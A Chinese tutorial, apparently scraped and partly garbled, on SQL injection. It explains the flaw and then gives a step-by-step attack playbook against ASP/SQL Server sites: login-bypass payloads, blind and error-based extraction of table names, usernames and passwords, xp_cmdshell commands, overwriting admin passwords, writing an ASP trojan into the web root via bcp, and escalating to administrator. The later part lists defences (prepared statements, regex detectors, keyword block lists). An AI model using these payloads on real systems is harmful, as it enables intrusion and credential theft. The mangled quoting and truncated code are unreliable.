1、前段时间,在很多博客和微博中暴漏出了 12306 铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误。其实 sql 注入漏洞就是一个。作为一个菜鸟小程序员,我对 sql 注入的东西了解的也不深入,所以抽出时间专门学习了一下。现在把学习成果分享给大家,希望可以帮助大家学习。下面我们就来看一下。一、什么是 sql 注入呢?所谓 SQL 注入,就是通过把 SQL 命令插入到 Web 表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL 命令,比如先前的很多影视网站泄露 VIP 会员密码大多就是通过WEB 表单递交查询字
2、符暴出的,这类表单特别容易受到 SQL 注入式攻击当应用程序使用输入内容来构造动态 sql 语句以访问数据库时,会发生 sql 注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生 sql 注入。 黑客通过SQL 注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过 SQL 注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下 SQL 注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库二、sql 注入产生原因sql 注入攻击是利用
3、是指利用设计上的漏洞,在目标服务器上运行Sql 语句以及进行其他方式的攻击,动态生成 Sql 语句时没有对用户输入的数据进行验证是 Sql 注入攻击得逞的主要原因。对于 java 数据库连接 JDBC 而言,SQL 注入攻击只对 Statement 有效,对PreparedStatement 是无效的,这是因为 PreparedStatement 不允许在不同的插入时间改变查询的逻辑结构。如验证用户是否存在的 SQL 语句为:用户名 and pswd=密码如果在用户名字段中输入: or 1=1 或是在密码字段中输入:or 1=1将绕过验证,但这种手段只对只对 Statement 有效,对Pre
4、paredStatement 无效。相对 Statement 有以下优点:1.防注入攻击2.多次运行速度快3.防止数据库缓冲区溢出4.代码的可读性可维护性好这四点使得 PreparedStatement 成为访问数据库的语句对象的首选,缺点是灵活性不够好,有些场合还是必须使用 Statement。 三、sql 注入原理下面我们来说一下 sql 注入原理,以使读者对 sql 注入攻击有一个感性的认识,至于其他攻击,原理是一致的。SQL 注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL 是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数 Web 应用都使用 SQL 数
5、据库来存放应用程序的数据。几乎所有的 Web 应用在后台 都使用某种 SQL 数据库。跟大多数语言一样,SQL 语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向 Web 应用输入数据,而且还可以在数据库上执行任意命令了。SQL 注入式攻击的主要形式有两种。一是直接将代码插入到与SQL 命令串联在一起并使得其以执行的用户输入变量。上面笔者举的例子就是采用了这种方法。由于其直接与 SQL 语句捆绑,故也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中
6、会连接到一个动态的 SQL 命令中,以执行一些恶意的 SQL 代码。注入过程的工作方式是提前终止文本字符串,然后追加一个新的命令。如以直接注入式攻击为例。就是在用户输入变量的时候,先用一个分号结束当前的语句。然后再插入一个恶意 SQL 语句即可。由于插入的命令可能在执行前追加其他字符串,因此攻击者常常用注释标记“”来终止注入的字符串。执行时,系统会认为此后语句位注释,故后续的文本将被忽略,不背编译与执行。四SQL 注入攻击的简单示例:这里我们举一个比较常见的例子来简要说明一下 sql 注入的原理。假如我们有一个 users 表,里面有两个字段 username 和 password。在我们的
7、java 代码中我们初学者都习惯用 sql 拼接的方式进行用户验证。比如:“select id from users where username = “+username +“ and password = “ + password +“ 这里的 username 和 password 都是我们存取从 web 表单获得的数据。下面我们来看一下一种简单的注入,如果我们在表单中 username 的输入框中输入 or 1=1- ,password 的表单中随便输入一些东西,假如这里输入 123.此时我们所要执行的 sql 语句就变成了 select id from users where use
8、rname = or 1=1- and password = 123,我们来看一下这个 sql,因为 1=1 是 true,后面 and password = 123被注释掉了。所以这里完全跳过了 sql 验证。SQL 注入攻击的总体思路是:1.发现 SQL 注入位置;2.判断后台数据库类型;3.确定 XP_CMDSHELL 可执行情况4.发现 WEB 虚拟目录5. 上传 ASP 木马;6.得到管理员权限;一、SQL 注入漏洞的判断一般来说,SQL 注入一般存在于形如:HTTP:/xxx.xxx.xxx/abc.asp?id=XX 等带有参数的 asp 或者动态网页中,有时一个动态网页中可能只
9、有一个参数,有时可能有 N 个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在 SQL注入。如果程序员没有安全意识,不进行必要的字符过滤,存在 SQL注入的可能性就非常大。为了全面了解动态网页回答的信息,首选请调整 IE 的配置。把 IE 菜单-工具 -Internet 选项高级显示友好 HTTP 错误信息前面的勾去掉。为了把问题说明清楚,以下以 HTTP:/xxx.xxx.xxx/abc.asp?p=YY 为例进行分析,YY 可能是整型,也有可能是字符串。1、整型参数的判断当输入的参数 YY 为整型时,通常 abc.a
10、sp 中 SQL 语句原貌大致如下:select * from 表名 where 字段=YY ,所以可以用以下步骤测试 SQL 注入是否存在。HTTP:/xxx.xxx.xxx/abc.asp?p=YY(附加一个单引号),此时abc.ASP 中的 SQL 语句变成了select * from 表名 where 字段=YY,abc.asp 运行异常;HTTP:/xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp 运行正常,而且与 HTTP:/xxx.xxx.xxx/abc.asp?p=YY 运行结果相同;HTTP:/xxx.xxx.xxx/abc.asp?p=YY
11、 and 1=2, abc.asp 运行异常;如果以上三步全面满足,abc.asp 中一定存在 SQL 注入漏洞。2、特殊情况的处理有时 ASP 程序员会在程序员过滤掉单引号等字符,以防止 SQL 注入。此时可以用以下几种方法试一试。大小定混合法:由于 VBS 并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用 SelecT 代替 select,SELECT 等;UNICODE 法:在 IIS 中,以 UNICODE 字符集实现国际化,我们完全可以 IE 中输入的字符串化成 UNICODE 字符串进行输入。如+ =%2B,空格=%
12、20 等;URLEncode 信息参见附件一;ASCII 码法:可以把输入的部分或全部字符全部用 ASCII 码代替,如 U=chr(85),a=chr(97)等,ASCII 信息参见附二;二、区分数据库服务器类型一般来说,ACCESS 与 SQLSERVER 是最常用的数据库服务器,尽管它们都支持 TSQL 标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。1、 利用数据库服务器的系统变量进行区分SQLSERVER 有 user,db_name()等系统变量,利用这些系统值不仅可以判断 SQL-SERVER,而且还可以得到大量有用信息。如: HTTP:/xxx.xxx.
13、xxx/abc.asp?p=YY and user0 不仅可以判断是否是 SQL-SERVER,而还可以得到当前连接到数据库的用户名HTTP:/xxx.xxx.xxx/abc.asp?p=YYexe . dbo.xp_cmdshell “copy c:winntsystem32cmd.exe c:inetpubscriptscmd.exe” 便制造了一个UNICODE 漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道 WEB 虚拟目录)。四、发现 WEB 虚拟目录只有找到 WEB 虚拟目录,才能确定放置 ASP 木马的位置,进而得到USER 权限。有两种方法比较有效。一是
14、根据经验猜解,一般来说,WEB 虚拟目录是:c:inetpubwwwroot; D:inetpubwwwroot; E:inetpubwwwroot 等,而可执行虚拟目录是:c:inetpubscripts; D:inetpubscripts; E:inetpubscripts 等。二是遍历系统的目录结构,分析结果并发现 WEB 虚拟目录;先创建一个临时表:tempHTTP:/xxx.xxx.xxx/abc.asp?p=YY;create-接下来:(1)我们可以利用 xp_availablemedia 来获得当前所有驱动器,并存入temp 表中:HTTP:/xxx.xxx.xxx/abc.as
15、p?p=YY;insert temp . ter.dbo.xp_availablemedia;-我们可以通过查询 temp 的内容来获得驱动器列表及相关信息(2)我们可以利用 xp_subdirs 获得子目录列表,并存入 temp 表中:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i . dbo.xp_subdirs c:;-(3)我们还可以利用 xp_dirtree 获得所有子目录的目录树结构,并寸入 temp 表中:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec
16、master.dbo.xp_dirtree c:;- 这样就可以成功的浏览到所有的目录(文件夹)列表:如果我们需要查看某个文件的内容,可以通过执行 xp_cmdsell:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec . nbsp;type c:webindex.asp;-使用bulk insert语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from c:inetpubwwwrootindex.asp 浏览 temp 就可以看到 index.asp 文件的内容了!通过分析各种 ASP文
17、件,可以得到大量系统信息,WEB 建设与管理信息,甚至可以得到SA 帐号的连接密码。当然,如果 xp_cmshell 能够执行,我们可以用它来完成:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)-HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id)-通过 xp_cmdshell 我们可以看到所有想看到的,包括 W3svcHTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe . ubAdmi
18、nScriptsadsutil.vbs enum w3svc但是,如果不是 SA 权限,我们还可以使用HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-注意:1、以上每完成一项浏览后,应删除 TEMP 中的所有内容,删除方法是:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;delete from temp;-2、浏览 TEMP 表的方法是:(假设 TestDB 是当前连接的数据库名)HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (
19、select topTestDB.dbo.temp )0 得到表 TEMP 中第一条记录 id 字段的值,并与整数进行比较,显然 abc.asp 工作异常,但在异常中却可以发现 id 字段的值。假设发现的表名是 xyz,则HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from . ere id not in(xyz)0 得到表 TEMP 中第二条记录 id 字段的值。五、上传 ASP 木马所谓 ASP 木马,就是一段有特殊功能的 ASP 代码,并放入 WEB 虚拟目录的 Scripts 下,远程客户通过 IE 就可执行它,进而得到系统的
20、USER 权限,实现对系统的初步控制。上传 ASP 木马一般有两种比较有效的方法:1、利用 WEB 的远程管理功能许多 WEB 站点,为了维护的方便,都提供了远程管理的功能;也有不少 WEB 站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对 WEB 的管理,如上传、下载文件,目录浏览、修改配置等。因此,若获取正确的用户名与密码,不仅可以上传 ASP 木马,有时甚至能够直接得到 USER 权限而浏览系统,上一步的 “发现 WEB 虚拟目录”的复杂操作都可省略。用户名及密码一般存放在一张表中
21、,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。A、 注入法:从理论上说,认证网页中会有型如:select * from admin where username=XXX and passWord=YYY 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施 SQL 注入。如在用户名文本框内输入:abc or 1=1- 在密码框内输入:123 则SQL 语句变成:select * from admin where username=abc or 1=1 and password=123 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法
22、身份。B、猜解法:基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。l 猜解所有数据库名称HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name1 and dbid=6) 1 (name 字段是一个字符型的字段和数字比较会出错 ),abc.asp 工作异常,可得到第一个数据库名,同理把 DBID 分别改成7,8,9,10,11,12就可得到所有数据库名。以下假设得到的数据库名是 Test
23、DB。l 猜解数据库中用户名表的名称猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts 等。并通过语句进行判断HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)0 若表名存在,则 abc.asp 工作正常,否则异常。如
24、此循环,直到猜到系统帐号表的名称。读取法:SQL-SERVER 有一个存放系统核心信息的表 sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过 WEB 进行访问。 当 xtype=U and status0 代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD . type=U and status0 )0 得到第一个用户建立表的名称,并与整数进行比较,显然 abc.asp 工作异常,
25、但在异常中却可以发现表的名称。假设发现的表名是 xyz,则HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjectsfrom TestDB.dbo.admin)=X(X=1,2,3,4 ,5, n,username 为用户名字段的名称,admin 为表的名称),若 x 为某一值 i 且 abc.asp 运行正常时,则 i 就是第一个用户名的长度。如:当输入HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top . e) from TestDB.dbo.ad
26、min)=8 时 abc.asp 运行正常,则第一个用户名的长度为 8HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (sel . ascii(substring(username,m,1) from TestDB.dbo.admin)=n (m 的值在 1 到上一步得到的用户名长度之间,当 m=1,2,3 ,时猜测分别猜测第 1,2,3,位的值;n 的值是 19、az 、AZ 的 ASCII 值,也就是 1128 之间的任意值;admin 为系统用户帐号表的名称),若 n 为某一值 i 且 abc.asp 运行正常时,则 i 对应 ASCII 码就是用户名某一位值。如:
27、当输入HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (sel . ascii(substring(username,3,1) from TestDB.dbo.admin)=80 时 abc.asp 运行正常,则用户名的第三位为 P(P 的 ASCII 为 80);HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (sel . ascii(substring(username,9,1) from TestDB.dbo.admin)=33 时 abc.asp 运行正常,则用户名的第 9 位为 !(!的 ASCII 为 80);猜到第一个用户名及密码后,同
28、理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经 md5 等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。简单法:猜用户名用HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 . o.admin where username1) , flag 是 admin 表中的一个字段,username 是用户名字段,此时 abc.asp 工作异常,但能得到 Username 的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。猜用户密码:HTTP:/xxx.xxx.xxx/
29、abc.asp?p=YY and (select top 1update TestDB.dbo.admin set pwd= . where username=www;- ( 1 的 MD5 值为:AAABBBCCCDDDEEEF,即把密码改成 1;www 为已知的用户名)用同样的方法当然可把密码改原来的值。2、利用表内容导成文件功能SQL 有 BCP 命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个 ASP 木马,然后用 BCP 命令导出形成 ASP 文件。命令行格式如下:bcp “select * from textfoo
30、“ queryout c:inetpubwwwrootruncommand.asp c S localhost U sa P foobar (S参数为执行查询的服务器,U参数为用户名,P参数为密码,最终上传了一个 runcommand.asp的木马)六、得到系统的管理员权限ASP 木马只有 USER 权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:上传木马,修改开机自动运行的.ini 文件(它一重启,便死定了);复制 CMD.exe 到 scripts,人为制造 UNICODE 漏洞;下载 SAM 文件,破解并获取 OS 的所有用户名密码;等等,视系统的
31、具体情况而定,可以采取不同的方法。后记正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议1、代码要对输入的参数做到充分的过滤,并尽可能得考虑极端情况2、错误信息尽可能的少,否则无关的人看不懂而有心的人就会提起兴趣3、不要以管理员的身份运行服务器进程4、某些情况下, net 命令对于攻击者而言就是“微软牌” 的木马5、严格控制远程登录访问者的来源6、如果可能的情况下,不是很推荐使用 Windows 作为服务器操作系统我们了解了 sql 注入原理和 sql 注入过程,今天我们就来了解一下 sql注入的解决办法。怎么来解决和防范 s
32、ql 注入,由于本人主要是搞java web 开发的小程序员,所以这里我只讲一下有关于 java web 的防止办法。其实对于其他的,思路基本相似。下面我们先从 web 应用程序的角度来看一下如何避免 sql 注入:1、普通用户与系统管理员用户的权限要有严格的区分。如果一个普通用户在使用查询语句中嵌入另一个 Drop Table 语句,那么是否允许执行呢?由于 Drop 语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用 SQL 语句中带有嵌入式的恶意代码,由于其用户权
33、限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。2、 强迫使用参数化语句。如果在编写 SQL 语句的时候,用户输入的变量不是直接嵌入到SQL 语句。而是通过参数来传递这个变量的话,那么就可以有效的防治 SQL 注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL 语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。采用这种措施,可以杜绝大部分的 SQL 注入式攻击。不过可惜的是,现在
34、支持参数化语句的数据库引擎并不多。不过数据库工程师在开发产品的时候要尽量采用参数化语句。3、加强对用户输入的验证。总体来说,防治 SQL 注入式攻击可以采用两种方法,一是加强对用户输入内容的检查与验证;二是强迫使用参数化语句来传递用户输入的内容。在 SQLServer 数据库中,有比较多的用户输入内容验证工具,可以帮助管理员来对付 SQL 注入式攻击。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻
35、击有比较明显的效果。4、 多多使用 SQL Server 数据库自带的安全参数。为了减少注入式攻击对于 SQL Server 数据库的不良影响,在SQLServer 数据库专门设计了相对安全的 SQL 参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的 SQL 注入式攻击。5、 多层环境如何防治 SQL 注入式攻击?在多层应用环境中,用户输入的所有数据都应该在验证之后才能被允许进入到可信区域。未通过验证过程的数据应被数据库拒绝,并向上一层返回一个错误信息。实现多层验证。对无目的的恶意用户采取的预防措施,对坚定的攻击者可能无效。更好的做法是在用户界面和所有跨信任边界的后续点上验证输入
36、。如在客户端应用程序中验证数据可以防止简单的脚本注入。但是,如果下一层认为其输入已通过验证,则任何可以绕过客户端的恶意用户就可以不受限制地访问系统。故对于多层应用环境,在防止注入式攻击的时候,需要各层一起努力,在客户端与数据库端都要采用相应的措施来防治 SQL 语句的注入式攻击。6、必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。使用专业的漏洞扫描工具,可以帮助管理员来寻找可能被 SQL 注入式攻击的点。不过漏洞扫描工具只能发现攻击点,而不能够主动起到防御 SQL 注入攻击的作用。当然这个工具也经常被攻击者拿来使用。如攻击者可以利用这个工具自动搜索攻击目标并实施攻击。为此在必要的情况下
37、,企业应当投资于一些专业的漏洞扫描工具。一个完善的漏洞扫描程序不同于网络扫描程序,它专门查找数据库中的 SQL 注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。所以凭借专业的工具,可以帮助管理员发现 SQL 注入式漏洞,并提醒管理员采取积极的措施来预防 SQL 注入式攻击。如果攻击者能够发现的 SQL 注入式漏洞数据库管理员都发现了并采取了积极的措施堵住漏洞,那么攻击者也就无从下手了。上面主要是介绍了在 web 应用程序中对 sql 注入的大体解决思路,下面我们就根据 java web 应用程序的特征来具体说明一下如何解决在java web 应用程序中的 sql 注入问题。1.采用预编译
38、语句集,它内置了处理 SQL 注入的能力,只要使用它的setXXX 方法传值即可。使用好处:(1).代码的可读性和可维护性.(2).PreparedStatement 尽最大可能提高性能.(3).最重要的一点是极大地提高了安全性.java view plaincopyprint?1. String sql= “select * from users where username=? and password=?; 2. PreparedStatement preState = conn.prepareStatement(sql); 3. preState.setString(1, userNa
39、me); 4. preState.setString(2, password); 5. ResultSet rs = preState.executeQuery(); 原理:sql 注入只对 sql 语句的准备( 编译)过程有破坏作用,而PreparedStatement 已经准备好了, 执行阶段只是把输入串作为数据处理,而不再对 sql 语句进行解析,准备, 因此也就避免了 sql 注入问题.2.使用正则表达式过滤传入的参数正则表达式:private String CHECKSQL = “(.+)sands(.+)|(.+)sor(.+)s$”;判断是否匹配:Pattern.matches(
40、CHECKSQL,targerStr);下面是具体的正则表达式:检测 SQL meta-characters 的正则表达式 :/(%27)|()|(-)|(%23)|(#)/ix修正检测 SQL meta-characters 的正则表达式 :/(%3D)|(=)n*(%27)|()|(-)|(%3B)|(:)/i典型的 SQL 注入攻击的正则表达式 :/w*(%27)|()(%6F)|o|(%4F)(%72)|r|(%52)/ix检测 SQL 注入,UNION 查询关键字的正则表达式 :/(%27)|()union/ix(%27)|()检测 MS SQL Server SQL 注入攻击的正则
41、表达式:/exec(s|+)+(s|x)pw+/ix等等其实可以简单的使用 replace 方法也可以实现上诉功能:public static String TransactSQLInjection(String str)return str.replaceAll(“.*(;+|(-)+).*“, “ “); 3.字符串过滤比较通用的一个方法:(|之间的参数可以根据自己程序的需要添加)java view plaincopyprint?1. public static boolean sql_inj(String str) 2. 3. String inj_str = “|and|exec|in
42、sert|select|delete|update| 4. count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,“; 5. String inj_stra = split(inj_str,“|“); 6. for (int i=0 ; i =0) 9. 10.return true; 11. 12. 13.return false; 14. 4.jsp 中调用该函数检查是否包函非法字符防止 SQL 从 URL 注入:sql_inj.java 代码:java view plaincopyprint?1. package sql_inj
43、; 2. import .*; 3. import java.io.*; 4. import java.sql.*; 5. import java.text.*; 6. import java.lang.String; 7. public class sql_inj 8. public static boolean sql_inj(String str) 9. 10.String inj_str = “|and|exec|insert|select|delete|update| 11.count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+
44、|,“; 12./这里的东西还可以自己添加 13.String inj_stra=inj_str.split(“|“); 14.for (int i=0 ; i =0) 17. 18.return true; 19. 20. 21.return false; 22. 23. 24. 5.JSP 页面添加客户端判断代码:使用 javascript 在客户端进行不安全字符屏蔽功能介绍:检查是否含有”,”,”/”参数说明:要检查的字符串返回值:0:是 1:不是函数名是javascript view plaincopyprint?1. function check(a) 2. 3. return 1; 4. fibdn = new Array (” ,”,”/”); 5. i=fibdn.length; 6. j=a.length; 7. for (ii=0; iii; ii+) 8. for (jj=0; jjj; jj+) 9. temp1=a.charAt(jj); 10.temp2=fibdnii; 11.if (tem; p1=temp2) 12. return 0; 13. 14. 15.return 1; 16. 关于安全性,本文可总结出一下几点:1.要对用户输入的内容保持警惕。2.只在客户端进行输入验证等于没有验证。3.永远不要把服务器错误信息暴露给用户。